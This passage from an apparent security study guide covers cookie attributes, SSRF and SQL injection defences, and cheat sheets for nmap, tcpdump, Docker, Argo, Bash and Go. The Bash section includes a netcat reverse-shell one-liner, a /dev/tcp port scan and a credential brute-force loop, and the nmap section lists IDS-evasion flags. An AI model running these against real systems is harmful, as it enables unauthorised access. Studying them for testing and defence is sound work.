* **`Secure`**: Ensures the cookie is only sent over HTTPS.
* **`HttpOnly`**: Prevents the cookie from being accessed via JavaScript, mitigating XSS attacks.
* **`SameSite=Strict`**: The cookie will only be sent for requests originating from the same site, providing strong protection against CSRF attacks.

#### Bad Example

Misusing the `SameSite` attribute or omitting it entirely, potentially leading to security vulnerabilities:

```http
httpCopy codeSet-Cookie: sessionId=abc123; Secure; HttpOnly
```

**Explanation:**

* **`sessionId=abc123`**: The cookie name and value.
* **`Secure`**: Ensures the cookie is only sent over HTTPS.
* **`HttpOnly`**: Prevents the cookie from being accessed via JavaScript, mitigating XSS attacks.
* **Missing `SameSite` attribute**: Without the `SameSite` attribute, the cookie is sent with both same-site and cross-site requests by default, which could expose the application to CSRF attacks.

#### Another Bad Example

Using an inappropriate value for the `SameSite` attribute:

```http
httpCopy codeSet-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=None
```

**Explanation:**

* **`sessionId=abc123`**: The cookie name and value.
* **`Secure`**: Ensures the cookie is only sent over HTTPS.
* **`HttpOnly`**: Prevents the cookie from being accessed via JavaScript, mitigating XSS attacks.
* **`SameSite=None`**: While this allows the cookie to be sent with cross-site requests, it can only be secure if combined with `Secure`. If `Secure` is not present, it leaves the application vulnerable to CSRF attacks.


# Server Side Request Forgery

**Server-Side Request Forgery (SSRF)** is a type of web security vulnerability where an attacker can make the server-side application send HTTP requests to an unintended location. This is often achieved by exploiting the functionality of an application that accepts URLs or URIs as input and fetches resources from those URLs. The attacker manipulates these inputs to redirect the server to malicious or unauthorized endpoints.

### How an Attacker Can Exploit SSRF

1. **Input Manipulation**: An attacker identifies an input field or API endpoint that accepts a URL or URI.
2. **Crafting Malicious Requests**: The attacker crafts a malicious URL that redirects the server to an unauthorized internal service, external malicious site, or sensitive data endpoint.
3. **Sending the Request**: The attacker submits the crafted URL through the vulnerable input, causing the server to send the request.
4. **Gaining Information or Access**: Depending on the target URL, the attacker can gather information about internal network services, access sensitive data, perform unauthorized actions, or even execute further attacks.

### Potential Impact of SSRF

* **Internal Network Scanning**: An attacker can scan and identify internal network services and their versions, leading to potential targeted attacks.
* **Access to Sensitive Information**: If the server can access sensitive endpoints (e.g., metadata services in cloud environments), the attacker can obtain sensitive data like credentials or configuration details.
* **Unauthorized Actions**: SSRF can be used to perform actions like sending emails, accessing internal APIs, or triggering other unintended operations.
* **Pivoting to Other Attacks**: Exploiting SSRF can be a stepping stone to further attacks like Remote Code Execution (RCE) or gaining deeper access to the network.

### Brief Use Cases of SSRF

1. **Accessing Cloud Metadata Services**: Exploiting SSRF to fetch credentials and configuration details from cloud provider metadata endpoints.
2. **Internal Port Scanning**: Using SSRF to map out internal network services and ports, aiding in lateral movement within the network.
3. **Bypassing Firewall Restrictions**: Sending requests to internal services that are not accessible externally but can be reached from the server.

### Protecting Against SSRF

#### **1. Input Validation and Sanitization**

* **Implementation**: Validate and sanitize all user inputs that can influence server-side requests. Reject or encode potentially harmful input.
* **Requirements**: Input validation libraries, regular expressions, and strict input handling policies.

#### **2. Allowlisting URLs**

* **Implementation**: Implement a strict allowlist of acceptable URLs or IP addresses that the application can access. Any request to a non-allowlisted URL should be blocked.
* **Requirements**: A well-defined list of allowed endpoints and configuration to enforce the allowlist.

#### **3. Restricting Network Access**

* **Implementation**: Configure the server and network to restrict outgoing requests to only necessary endpoints. Use firewalls and network security groups to enforce these restrictions.
* **Requirements**: Network security policies, firewall rules, and careful network architecture planning.

#### **4. Using Secure Coding Practices**

* **Implementation**: Employ secure coding practices, such as using libraries and frameworks that handle URL requests safely, avoiding direct inclusion of user input in request parameters.
* **Requirements**: Knowledge of secure coding practices, training for developers, and secure development guidelines.

#### **5. Monitoring and Logging**

* **Implementation**: Implement monitoring and logging of all server-side requests to detect unusual or unauthorized access patterns. Use tools like SIEM (Security Information and Event Management) for real-time monitoring.
* **Requirements**: Logging infrastructure, monitoring tools, and alerting mechanisms.

#### **6. Regular Security Audits and Penetration Testing**

* **Implementation**: Conduct regular security audits and penetration testing to identify and remediate potential SSRF vulnerabilities before they can be exploited.
* **Requirements**: Access to security experts, tools for security testing, and a schedule for regular audits.

By implementing these protective measures, web applications can significantly reduce the risk of SSRF vulnerabilities and ensure that any attempts to exploit such weaknesses are promptly detected and mitigated.


# SQL Injection

SQL Injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. It typically involves injecting malicious SQL code into a query, which can manipulate the database to execute unintended commands.

**How an Attacker Can Exploit SQL Injection:**

1. **Injection via Input Fields:** Attackers insert malicious SQL code into input fields (e.g., login forms, search boxes) that are concatenated into SQL queries.
2. **URL Manipulation:** Attackers modify query parameters in the URL to include SQL code.
3. **Cookies:** Malicious SQL code can be inserted into cookies that are used in SQL queries.
4. **HTTP Headers:** SQL code can be injected through HTTP headers such as User-Agent.

**Potential Damage:**

1. **Data Theft:** Unauthorized access to sensitive data (e.g., user credentials, personal information).
2. **Data Manipulation:** Modification or deletion of data.
3. **Authentication Bypass:** Gaining unauthorized access by bypassing login mechanisms.
4. **Database Corruption:** Destroying or corrupting database data.
5. **Escalation of Privileges:** Gaining administrative access to the database server.
6. **Remote Code Execution:** In some cases, executing commands on the server hosting the database.

**Brief Use Cases:**

1. **Extracting User Data:** Accessing usernames and passwords stored in the database.
2. **Dumping Database:** Retrieving the entire contents of a database.
3. **Administrative Operations:** Performing administrative operations like adding or deleting users.
4. **Compromising Systems:** Escalating privileges to control the database server and potentially the underlying operating system.

**Protection Measures and Implementation:**

1. **Parameterized Queries (Prepared Statements):**
   * **Description:** Ensures that SQL code is defined separately from the data.
   * **Implementation:**

     ```python
     # Example in Python using SQLite
     import sqlite3

     conn = sqlite3.connect('example.db')
     cursor = conn.cursor()
     cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
     ```
   * **Requirements:** Database and application support for parameterized queries.
2. **Stored Procedures:**
   * **Description:** Encapsulates SQL queries within the database, reducing direct SQL manipulation.
   * **Implementation:**

     ```sql
     -- Example in SQL Server
     CREATE PROCEDURE AuthenticateUser
     @username NVARCHAR(50),
     @password NVARCHAR(50)
     AS
     BEGIN
         SELECT * FROM users WHERE username = @username AND password = @password
     END
     ```
   * **Requirements:** Database support for stored procedures.
3. **Input Validation:**
   * **Description:** Validates and sanitizes user input to ensure it adheres to expected formats.
   * **Implementation:**

     ```python
     # Example in Python
     import re

     def validate_input(user_input):
         if re.match("^[a-zA-Z0-9_]+$", user_input):
             return True
         else:
             return False
     ```
   * **Requirements:** Implementation of robust input validation functions.
4. **Escaping Inputs:**
   * **Description:** Escapes special characters in user inputs to neutralize any SQL code.
   * **Implementation:**

     ```php
     // Example in PHP
     $username = mysqli_real_escape_string($conn, $_POST['username']);
     $password = mysqli_real_escape_string($conn, $_POST['password']);
     ```
   * **Requirements:** Functions or libraries for escaping inputs.
5. **Web Application Firewalls (WAF):**
   * **Description:** Inspects and filters traffic to block malicious SQL injection attempts.
   * **Implementation:** Configure a WAF like ModSecurity with rules to detect and prevent SQLi.
   * **Requirements:** Deployment and configuration of a WAF.
6. **Least Privilege Principle:**
   * **Description:** Restrict database user permissions to the minimum necessary for the application to function.
   * **Implementation:**

     ```sql
     -- Example in MySQL
     CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'password';
     GRANT SELECT, INSERT, UPDATE ON database.* TO 'appuser'@'localhost';
     ```
   * **Requirements:** Proper database user role configuration.

By implementing these protective measures, you can significantly reduce the risk of SQL Injection attacks on your web applications.


# Secure Coding Practices


# Learning Resources

<https://www.coursera.org/specializations/secure-coding-practices>&#x20;


# Cheatsheets


# Security Tools


# Nmap

### Basic Scanning

* **Scan a single host**: `nmap <hostname or IP>`
* **Scan multiple hosts**: `nmap <host1> <host2> <host3>`
* **Scan a range of IPs**: `nmap <IP range>` (e.g., `nmap 192.168.1.1-20`)
* **Scan a subnet**: `nmap <CIDR>` (e.g., `nmap 192.168.1.0/24`)
* **Scan from a file**: `nmap -iL <input file>`

### Port Scanning

* **Scan common ports**: `nmap -p <port list>` (e.g., `nmap -p 22,80,443`)
* **Scan all ports**: `nmap -p-`
* **Scan specific range of ports**: `nmap -p <start>-<end>` (e.g., `nmap -p 1000-2000`)

### Scan Types

* **TCP Connect Scan**: `nmap -sT`
* **SYN Scan**: `nmap -sS`
* **UDP Scan**: `nmap -sU`
* **TCP ACK Scan**: `nmap -sA`
* **TCP Window Scan**: `nmap -sW`
* **TCP Maimon Scan**: `nmap -sM`

### Service and Version Detection

* **Service detection**: `nmap -sV`
* **Aggressive service detection**: `nmap -sV --version-intensity 5`

### OS Detection

* **Operating system detection**: `nmap -O`
* **Aggressive detection**: `nmap -A`

### Scripts and NSE (Nmap Scripting Engine)

* **List available scripts**: `nmap --script-help`
* **Run a script**: `nmap --script <script name>`
* **Run multiple scripts**: `nmap --script <script1>,<script2>`

### Timing and Performance

* **Set timing template**: `nmap -T<0-5>` (0: slowest, 5: fastest)
* **Max parallel scans**: `nmap --max-parallelism <number>`
* **Max retries**: `nmap --max-retries <number>`

### Output Options

* **Normal output**: `nmap -oN <filename>`
* **XML output**: `nmap -oX <filename>`
* **Grepable output**: `nmap -oG <filename>`
* **All formats**: `nmap -oA <basename>`

### Firewall and IDS Evasion

* **Fragment packets**: `nmap -f`
* **Specify a decoy**: `nmap -D <decoy1,decoy2,...>`
* **Send bad checksums**: `nmap --badsum`
* **Set source port**: `nmap --source-port <port>`

### Miscellaneous

* **Scan with root privileges**: `sudo nmap <options>`
* **Resume scan**: `nmap --resume <filename>`
* **Use IPv6**: `nmap -6`

#### Examples

* **Basic Scan**: `nmap scanme.nmap.org`
* **TCP SYN Scan**: `sudo nmap -sS 192.168.1.1`
* **Service Version Detection**: `nmap -sV example.com`
* **OS Detection**: `nmap -O 192.168.1.1`
* **Aggressive Scan**: `nmap -A scanme.nmap.org`
* **Save Output to All Formats**: `nmap -oA output example.com`
* **UDP Scan**: `sudo nmap -sU -p 123,161,162 example.com`

This cheatsheet covers the basic and commonly used options of Nmap. For more advanced usage and options, refer to the Nmap official documentation.


# Tcpdump

### Basic Commands

* **Capture packets on a specific interface:**

  ```bash
  tcpdump -i eth0
  ```
* **Capture only a specific number of packets:**

  ```bash
  tcpdump -c 10
  ```
* **Write capture to a file:**

  ```bash
  tcpdump -w capture.pcap
  ```
* **Read packets from a file:**

  ```bash
  tcpdump -r capture.pcap
  ```

### Filtering Options

* **Filter by host:**

  ```bash
  tcpdump host 192.168.1.1
  ```
* **Filter by source IP:**

  ```bash
  tcpdump src 192.168.1.1
  ```
* **Filter by destination IP:**

  ```bash
  tcpdump dst 192.168.1.1
  ```
* **Filter by port:**

  ```bash
  tcpdump port 80
  ```
* **Filter by source port:**

  ```bash
  tcpdump src port 80
  ```
* **Filter by destination port:**

  ```bash
  tcpdump dst port 80
  ```
* **Filter by protocol:**

  ```bash
  tcpdump tcp
  tcpdump udp
  ```

### Advanced Filtering

* **Capture only TCP packets with a specific flag:**

  ```bash
  tcpdump 'tcp[tcpflags] & tcp-syn != 0'
  ```
* **Capture packets larger than a specific size:**

  ```bash
  tcpdump 'greater 1024'
  ```
* **Capture packets with a specific string in the payload:**

  ```bash
  tcpdump -A | grep 'string'
  ```

### Display Options

* **Verbose output:**

  ```bash
  tcpdump -v
  ```
* **More verbose output:**

  ```bash
  tcpdump -vv
  ```
* **Most verbose output:**

  ```bash
  tcpdump -vvv
  ```
* **Print in ASCII:**

  ```bash
  tcpdump -A
  ```
* **Print in HEX and ASCII:**

  ```bash
  tcpdump -X
  ```

### Time Options

* **Capture packets for a specific duration:**

  ```bash
  tcpdump -G 60 -w capture-%Y-%m-%d_%H-%M-%S.pcap
  ```
* **Add timestamp to output:**

  ```bash
  tcpdump -tttt
  ```

### Extracting Files (Images, Videos, Docs)

1. **Capture packets and save to a file:**

   ```bash
   tcpdump -i eth0 -w capture.pcap
   ```
2. **Use `tcpflow` to reconstruct the TCP stream:**

   ```bash
   tcpflow -r capture.pcap
   ```

   This will create files in the format of `192.168.1.1.00080-192.168.1.2.12345` representing the data flow between these IPs and ports.
3. **Identify and extract files:**
   * **Images:** Identify JPEG, PNG, or other image file signatures (e.g., JPEG starts with `\xff\xd8` and ends with `\xff\xd9`).

     ```bash
     grep -a -o -b --binary-files=text -E "\xff\xd8|\xff\xd9" 192.168.1.1.00080-192.168.1.2.12345
     ```
   * **Videos:** Look for video file signatures (e.g., MP4 files start with `ftyp`).

     ```bash
     grep -a -o -b --binary-files=text -E "ftyp" 192.168.1.1.00080-192.168.1.2.12345
     ```
   * **Documents:** Identify document file signatures (e.g., PDF files start with `%PDF`).

     ```bash
     grep -a -o -b --binary-files=text -E "%PDF" 192.168.1.1.00080-192.168.1.2.12345
     ```
4. **Reassemble files:** Use a hex editor like `xxd` or `bless` to cut the identified bytes and save them as separate files. For example, to extract a JPEG image:

   ```bash
   xxd -r -p <start_byte>-<end_byte> 192.168.1.1.00080-192.168.1.2.12345 > image.jpg
   ```
5. **Verify and open the extracted files:** Open the extracted files using appropriate viewers to verify their integrity.

#### Additional Tools

* **Scapy:** Python library to read, write, and manipulate pcap files.

  ```python
  from scapy.all import *

  packets = rdpcap('capture.pcap')
  for packet in packets:
      if Raw in packet:
          data = packet[Raw].load
          # Further processing to identify and extract files
  ```
* **Wireshark:** GUI-based tool to analyze pcap files and extract objects directly.
  * Open the pcap file in Wireshark.
  * Go to `File -> Export Objects -> HTTP` (or other relevant protocol).

By using these commands and techniques, you can effectively utilize `tcpdump` for network analysis and extract various types of files from captured network traffic.


# Cloud Tools


# Argo

## **Installation**

**Install Argo CLI:**

```bash
brew install argoproj/tap/argo
```

**Install Argo Workflows in Kubernetes:**

```bash
kubectl create namespace argo
kubectl apply -n argo -f https://raw.githubusercontent.com/argoproj/argo-workflows/stable/manifests/install.yaml
```

## **Access the Argo UI**

**Port-forward the Argo UI:**

```bash
kubectl -n argo port-forward deployment/argo-server 2746:2746
```

**Access UI:** Open a browser and go to `http://localhost:2746`.

## **Submit a Workflow**

**Create a simple workflow YAML (hello-world.yaml):**

```yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: hello-world-
spec:
  entrypoint: whalesay
  templates:
  - name: whalesay
    container:
      image: docker/whalesay
      command: [cowsay]
      args: ["hello world"]
```

**Submit the workflow:**

```bash
argo submit hello-world.yaml
```

## **Monitor Workflows**

**List workflows:**

```bash
argo list
```

**Get workflow details:**

```bash
argo get <workflow-name>
```

**Watch workflow logs:**

```bash
argo logs -w <workflow-name>
```

**Watch the progress of a workflow:**

```bash
argo watch <workflow-name>
```

## **Workflow Lifecycle Management**

**Suspend a running workflow:**

```bash
argo suspend <workflow-name>
```

**Resume a suspended workflow:**

```bash
argo resume <workflow-name>
```

**Terminate a running workflow:**

```bash
argo terminate <workflow-name>
```

**Retry a failed workflow:**

```bash
argo retry <workflow-name>
```

## **Create Workflow Templates**

**Define a template (workflow-template.yaml):**

```yaml
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: hello-world-template
spec:
  entrypoint: whalesay
  templates:
  - name: whalesay
    container:
      image: docker/whalesay
      command: [cowsay]
      args: ["hello world from template"]
```

**Create the template:**

```bash
kubectl apply -f workflow-template.yaml
```

**Submit a workflow using the template:**

```bash
argo submit --from workflowtemplate/hello-world-template
```

## **Using Parameters in Workflows**

**Define a parameterized workflow (params-workflow\.yaml):**

```yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: hello-world-param-
spec:
  entrypoint: whalesay
  arguments:
    parameters:
    - name: message
      value: "hello world"
  templates:
  - name: whalesay
    inputs:
      parameters:
      - name: message
    container:
      image: docker/whalesay
      command: [cowsay]
      args: ["{{inputs.parameters.message}}"]
```

**Submit with parameters:**

```bash
argo submit params-workflow.yaml -p message="hello Argo"
```

## **Artifacts and Outputs**

**Define a workflow with artifacts (artifacts-workflow\.yaml):**

```yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: artifacts-
spec:
  entrypoint: whalesay
  templates:
  - name: whalesay
    container:
      image: docker/whalesay
      command: [cowsay]
      args: ["hello world"]
    outputs:
      artifacts:
      - name: message
        path: /tmp/message
```

## **DAG and Steps**

**Define a DAG workflow (dag-workflow\.yaml):**

```yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: dag-diamond-
spec:
  entrypoint: diamond
  templates:
  - name: diamond
    dag:
      tasks:
      - name: A
        template: echo
        arguments:
          parameters: [{name: message, value: "A"}]
      - name: B
        dependencies: [A]
        template: echo
        arguments:
          parameters: [{name: message, value: "B"}]
      - name: C
        dependencies: [A]
        template: echo
        arguments:
          parameters: [{name: message, value: "C"}]
      - name: D
        dependencies: [B, C]
        template: echo
        arguments:
          parameters: [{name: message, value: "D"}]
  - name: echo
    inputs:
      parameters:
      - name: message
    container:
      image: alpine:3.7
      command: [sh, -c]
      args: ["echo {{inputs.parameters.message}}"]
```

**Submit the DAG workflow:**

```bash
argo submit dag-workflow.yaml
```

## **Clean Up**

**Delete a workflow:**

```bash
argo delete <workflow-name>
```

**Delete all workflows:**

```bash
argo delete --all
```

**Useful Commands**

* **View Argo version:**

  ```bash
  argo version
  ```
* **Get the status of a workflow:**

  ```bash
  argo get <workflow-name>
  ```
* **Resume a suspended workflow:**

  ```bash
  argo resume <workflow-name>
  ```

This cheat sheet should help you start with Argo Workflows in a Kubernetes environment. For more detailed information, refer to the Argo Workflows documentation.


# Docker

## Docker CLI

### Basic Commands

* **docker --version**

  * Check Docker version.

  ```sh
  docker --version
  ```
* **docker info**

  * Display system-wide information.

  ```sh
  docker info
  ```
* **docker help**

  * Get help on Docker commands.

  ```sh
  docker help
  ```

### Images

* **docker images**

  * List all Docker images.

  ```sh
  docker images
  ```
* **docker pull \[image]**

  * Pull an image from a registry.

  ```sh
  docker pull ubuntu:latest
  ```
* **docker rmi \[image\_id]**

  * Remove a Docker image.

  ```sh
  docker rmi ubuntu:latest
  ```

### Containers

* **docker ps**

  * List running containers.

  ```sh
  docker ps
  ```
* **docker ps -a**

  * List all containers (running and stopped).

  ```sh
  docker ps -a
  ```
* **docker run \[options] \[image]**

  * Run a command in a new container.

  ```sh
  docker run -it ubuntu:latest /bin/bash
  ```
* **docker stop \[container\_id]**

  * Stop a running container.

  ```sh
  docker stop [container_id]
  ```
* **docker start \[container\_id]**

  * Start a stopped container.

  ```sh
  docker start [container_id]
  ```
* **docker restart \[container\_id]**

  * Restart a container.

  ```sh
  docker restart [container_id]
  ```
* **docker rm \[container\_id]**

  * Remove a stopped container.

  ```sh
  docker rm [container_id]
  ```

### Networks

* **docker network ls**

  * List all networks.

  ```sh
  docker network ls
  ```
* **docker network create \[network\_name]**

  * Create a new network.

  ```sh
  docker network create my_network
  ```
* **docker network rm \[network\_name]**

  * Remove a network.

  ```sh
  docker network rm my_network
  ```

### Volumes

* **docker volume ls**

  * List all volumes.

  ```sh
  docker volume ls
  ```
* **docker volume create \[volume\_name]**

  * Create a new volume.

  ```sh
  docker volume create my_volume
  ```
* **docker volume rm \[volume\_name]**

  * Remove a volume.

  ```sh
  docker volume rm my_volume
  ```

### Docker Compose

* **docker-compose up**

  * Create and start containers.

  ```sh
  docker-compose up
  ```
* **docker-compose down**

  * Stop and remove containers, networks, images, and volumes.

  ```sh
  docker-compose down
  ```
* **docker-compose build**

  * Build or rebuild services.

  ```sh
  docker-compose build
  ```

### Inspect and Logs

* **docker inspect \[container\_id]**

  * Return low-level information on Docker objects.

  ```sh
  docker inspect [container_id]
  ```
* **docker logs \[container\_id]**

  * Fetch the logs of a container.

  ```sh
  docker logs [container_id]
  ```

### Clean Up

* **docker system prune**

  * Remove all unused containers, networks, images (both dangling and unreferenced), and optionally, volumes.

  ```sh
  docker system prune
  ```
* **docker container prune**

  * Remove all stopped containers.

  ```sh
  docker container prune
  ```
* **docker volume prune**

  * Remove all unused volumes.

  ```sh
  docker volume prune
  ```
* **docker image prune**

  * Remove unused images.

  ```sh
  docker image prune
  ```

This cheat sheet covers the basic and most commonly used Docker commands to get you started. Feel free to ask if you need more details or advanced commands!

## Creating a Dockerfile

A Dockerfile is a text file that contains a series of instructions on how to build a Docker image. Here's a basic overview and examples of common Dockerfile instructions:

### Basic Structure of a Dockerfile

1. **FROM**

   * Specifies the base image.

   ```Dockerfile
   FROM ubuntu:latest
   ```
2. **MAINTAINER**

   * Sets the author field of the generated images.

   ```Dockerfile
   MAINTAINER Your Name <your.email@example.com>
   ```
3. **RUN**

   * Executes commands in a new layer on top of the current image.

   ```Dockerfile
   RUN apt-get update && apt-get install -y nginx
   ```
4. **COPY**

   * Copies files from the host machine to the Docker image.

   ```Dockerfile
   COPY ./localfile /path/in/container
   ```
5. **ADD**

   * Copies files/directories from the host machine to the Docker image, and also supports extracting tar files.

   ```Dockerfile
   ADD ./localfile.tar /path/in/container
   ```
6. **CMD**

   * Specifies the command to run within the container.

   ```Dockerfile
   CMD ["nginx", "-g", "daemon off;"]
   ```
7. **ENTRYPOINT**

   * Sets a default application to be used every time a container is created with the image.

   ```Dockerfile
   ENTRYPOINT ["nginx", "-g", "daemon off;"]
   ```
8. **EXPOSE**

   * Informs Docker that the container listens on the specified network ports at runtime.

   ```Dockerfile
   EXPOSE 80
   ```
9. **ENV**

   * Sets environment variables.

   ```Dockerfile
   ENV ENVIRONMENT production
   ```
10. **VOLUME**

    * Creates a mount point with the specified path and marks it as holding externally mounted volumes from the native host or other containers.

    ```Dockerfile
    VOLUME /data
    ```

### Example Dockerfile

Here's an example Dockerfile for a simple web server using Nginx:

```Dockerfile
# Use the official Nginx image from the Docker Hub
FROM nginx:latest

# Set the maintainer label
MAINTAINER Your Name <your.email@example.com>

# Copy custom configuration file from the host to the container
COPY nginx.conf /etc/nginx/nginx.conf

# Copy the content of the website to the container
COPY ./html /usr/share/nginx/html

# Expose port 80 to the host
EXPOSE 80

# Start Nginx when the container launches
CMD ["nginx", "-g", "daemon off;"]
```

#### Building and Running the Docker Image

1. **Build the Docker Image**

   * Use the `docker build` command to create an image from the Dockerfile.

   ```sh
   docker build -t my-nginx-image .
   ```
2. **Run the Docker Container**

   * Use the `docker run` command to start a container from the image.

   ```sh
   docker run -d -p 80:80 my-nginx-image
   ```

#### Best Practices

* **Keep Dockerfile Instructions Ordered**: Use a logical order such as `FROM`, `MAINTAINER`, `RUN`, `COPY`, `CMD`.
* **Use .dockerignore**: Create a `.dockerignore` file to exclude files and directories from the build context to reduce the size of the image.
* **Minimize Layers**: Combine multiple `RUN` commands to reduce the number of layers.
* **Leverage Caching**: Order the instructions to leverage Docker’s build cache.

This should give you a good starting point for creating your own Dockerfiles! If you have any specific questions or need further details, feel free to ask.


# Kubernetes


# Coding


# Bash

Bash (Bourne Again SHell) is a powerful command-line interface and scripting language used widely in UNIX-like operating systems. It is essential for security professionals and penetration testers to harness the full potential of Bash for tasks such as automation, information gathering, and exploitation. This cheat sheet provides quick references and examples for using Bash effectively.

### Basic Commands

#### File and Directory Operations

* **List files and directories**: `ls`
* **Change directory**: `cd /path/to/directory`
* **Create a directory**: `mkdir /path/to/directory`
* **Remove a directory**: `rmdir /path/to/directory`
* **Copy files**: `cp /path/to/source /path/to/destination`
* **Move/Rename files**: `mv /path/to/source /path/to/destination`
* **Delete files**: `rm /path/to/file`

#### File Content Operations

* **View file content**: `cat /path/to/file`
* **View file content page by page**: `less /path/to/file`
* **Search inside files**: `grep 'search_term' /path/to/file`
* **Count lines, words, and characters in a file**: `wc /path/to/file`

#### Permissions

* **Change file permissions**: `chmod 755 /path/to/file`
* **Change file ownership**: `chown user:group /path/to/file`

***

### Text Processing

#### awk

* **Print the first column**: `awk '{print $1}' file`
* **Print specific columns**: `awk '{print $1, $3}' file`
* **Pattern matching and printing**: `awk '/pattern/ {print $1}' file`

#### sed

* **Substitute text in a file**: `sed 's/old/new/g' file`
* **Delete lines matching a pattern**: `sed '/pattern/d' file`

#### grep

* **Search for a pattern in files**: `grep 'pattern' file`
* **Recursive search in directories**: `grep -r 'pattern' /path/to/directory`

#### cut

* **Extract columns**: `cut -d':' -f1 /etc/passwd`

#### sort

* **Sort lines in a file**: `sort file`

#### uniq

* **Remove duplicate lines**: `uniq file`

#### tr

* **Translate or delete characters**: `tr 'a-z' 'A-Z' < file`

***

### Network Operations

#### Network Scanning

* **Ping a host**: `ping -c 4 host`
* **Scan open ports with netcat**: `nc -zv host 1-65535`
* **Network enumeration with nmap**: `nmap -A host`

#### File Transfers

* **Download a file with wget**: `wget http://example.com/file`
* **Upload a file with curl**: `curl -T file ftp://example.com`

#### Network Connections

* **Establish a TCP connection**: `nc host port`
* **Open a reverse shell**: `nc -e /bin/bash host port`

***

### System Monitoring

#### Process Management

* **List running processes**: `ps aux`
* **Terminate a process**: `kill PID`
* **Force terminate a process**: `kill -9 PID`

#### Disk Usage

* **Check disk space usage**: `df -h`
* **Check directory size**: `du -sh /path/to/directory`

#### Memory Usage

* **Check memory usage**: `free -h`

***

### Scripting Essentials

#### Variables

* **Define a variable**: `VAR_NAME="value"`
* **Access a variable**: `$VAR_NAME`

#### Conditionals

```bash
if [ condition ]; then
  # commands
elif [ condition ]; then
  # commands
else
  # commands
fi
```

#### Loops

* **For loop**:

```bash
for item in list; do
  # commands
done
```

* **While loop**:

```bash
while [ condition ]; do
  # commands
done
```

#### Functions

```bash
function_name() {
  # commands
}
```

***

### Practical Examples

#### Basic Port Scan

```bash
#!/bin/bash
for port in {1..65535}; do
  timeout 1 bash -c "echo > /dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port is open"
done
```

#### Directory Backup

```bash
#!/bin/bash
SOURCE="/path/to/source"
DEST="/path/to/destination/backup-$(date +%F).tar.gz"
tar -czvf $DEST $SOURCE
```

#### Log Parsing

```bash
#!/bin/bash
grep "ERROR" /var/log/syslog | awk '{print $1, $2, $5}'
```

#### Basic Authentication Brute Force

```bash
#!/bin/bash
for user in $(cat users.txt); do
  for pass in $(cat passwords.txt); do
    response=$(curl -s -o /dev/null -w "%{http_code}" -u $user:$pass http://target)
    if [ $response -eq 200 ]; then
      echo "Valid credentials: $user:$pass"
    fi
  done
done
```

***

### Security Tips

* **Use absolute paths** in scripts to avoid unexpected behaviors.
* **Validate inputs** to prevent injection attacks.
* **Limit permissions** and use **sudo** sparingly.
* **Log and monitor** script activities.
* **Encrypt sensitive data** in scripts.


# Go

<figure><img src="/files/dzqg1nbpUopCKbpsPbl0" alt="" width="111"><figcaption></figcaption></figure>

Go (or Golang) is an open-source programming language designed for efficiency and scalability. Its simplicity and strong performance make it ideal for security tasks, including scripting and penetration testing.

### Setting Up the Go Environment

1. **Install Go:**
   * Download from the [official website](https://golang.org/dl/).
   * Follow installation instructions for your operating system.
2. **Verify Installation:**

   ```sh
   go version
   ```
3. **Setting Up GOPATH:**

   * GOPATH is the workspace for Go projects.

   ```sh
   export GOPATH=$HOME/go
   export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
   ```

### Basic Syntax

1. **Hello World:**

   ```go
   package main

   import "fmt"

   func main() {
       fmt.Println("Hello, World!")
   }
   ```
2. **Variables:**

   ```go
   var a string = "Initial"
   b := 2 // Short variable declaration
   ```
3. **Loops:**

   ```go
   goCopy codefor i := 0; i < 10; i++ {
       fmt.Println(i)
   }
   ```
4. **Conditional Statements:**

   ```go
   if x > 10 {
       fmt.Println("x is greater than 10")
   } else {
       fmt.Println("x is less than or equal to 10")
   }
   ```

### Handling HTTP Requests

1. **GET Request:**

   ```go
   package main

   import (
       "fmt"
       "io/ioutil"
       "net/http"
   )

   func main() {
       resp, err := http.Get("http://example.com")
       if err != nil {
           fmt.Println(err)
           return
       }
       defer resp.Body.Close()
       body, err := ioutil.ReadAll(resp.Body)
       if err != nil {
           fmt.Println(err)
           return
       }
       fmt.Println(string(body))
   }
   ```
2. **POST Request:**

   ```go
   package main

   import (
       "bytes"
       "fmt"
       "net/http"
   )

   func main() {
       jsonData := []byte(`{"key":"value"}`)
       resp, err := http.Post("http://example.com", "application/json", bytes.NewBuffer(jsonData))
       if err != nil {
           fmt.Println(err)
           return
       }
       defer resp.Body.Close()
       fmt.Println("Response Status:", resp.Status)
   }
   ```

### &#x20;Parsing JSON

1. **Parsing JSON Response:**

   ```go
   package main

   import (
       "encoding/json"
       "fmt"
   )

   type Response struct {
       Key string `json:"key"`
   }

   func main() {
       jsonStr := `{"key": "value"}`
       var res Response
       json.Unmarshal([]byte(jsonStr), &res)
       fmt.Println(res.Key)
   }
   ```
2. **Encoding JSON:**

   ```go
   package main

   import (
       "encoding/json"
       "fmt"
   )

   type Payload struct {
       Key string `json:"key"`
   }

   func main() {
       data := Payload{Key: "value"}
       jsonData, _ := json.Marshal(data)
       fmt.Println(string(jsonData))
   }
   ```

### Concurrency in Go

1. **Goroutines:**

   ```go
   package main

   import (
       "fmt"
       "time"
   )

   func main() {
       go func() {
           fmt.Println("Hello from Goroutine")
       }()
       time.Sleep(time.Second) // Wait for Goroutine to finish
   }
   ```
2. **Channels:**

   ```go
   package main

   import "fmt"

   func main() {
       messages := make(chan string)

       go func() {
           messages <- "ping"
       }()

       msg := <-messages
       fmt.Println(msg)
   }
   ```

### Writing Secure Code

1. **Input Validation:**
   * Always validate user input to avoid injection attacks.
2. **Using Context for Timeouts:**

   ```go
   package main

   import (
       "context"
       "fmt"
       "net/http"
       "time"
   )

   func main() {
       ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
       defer cancel()

       req, _ := http.NewRequestWithContext(ctx, "GET", "http://example.com", nil)
       resp, err := http.DefaultClient.Do(req)
       if err != nil {
           fmt.Println("Request failed:", err)
           return
       }
       defer resp.Body.Close()
       fmt.Println("Response Status:", resp.Status)
   }
   ```

### File Handling

1. **Reading Files:**

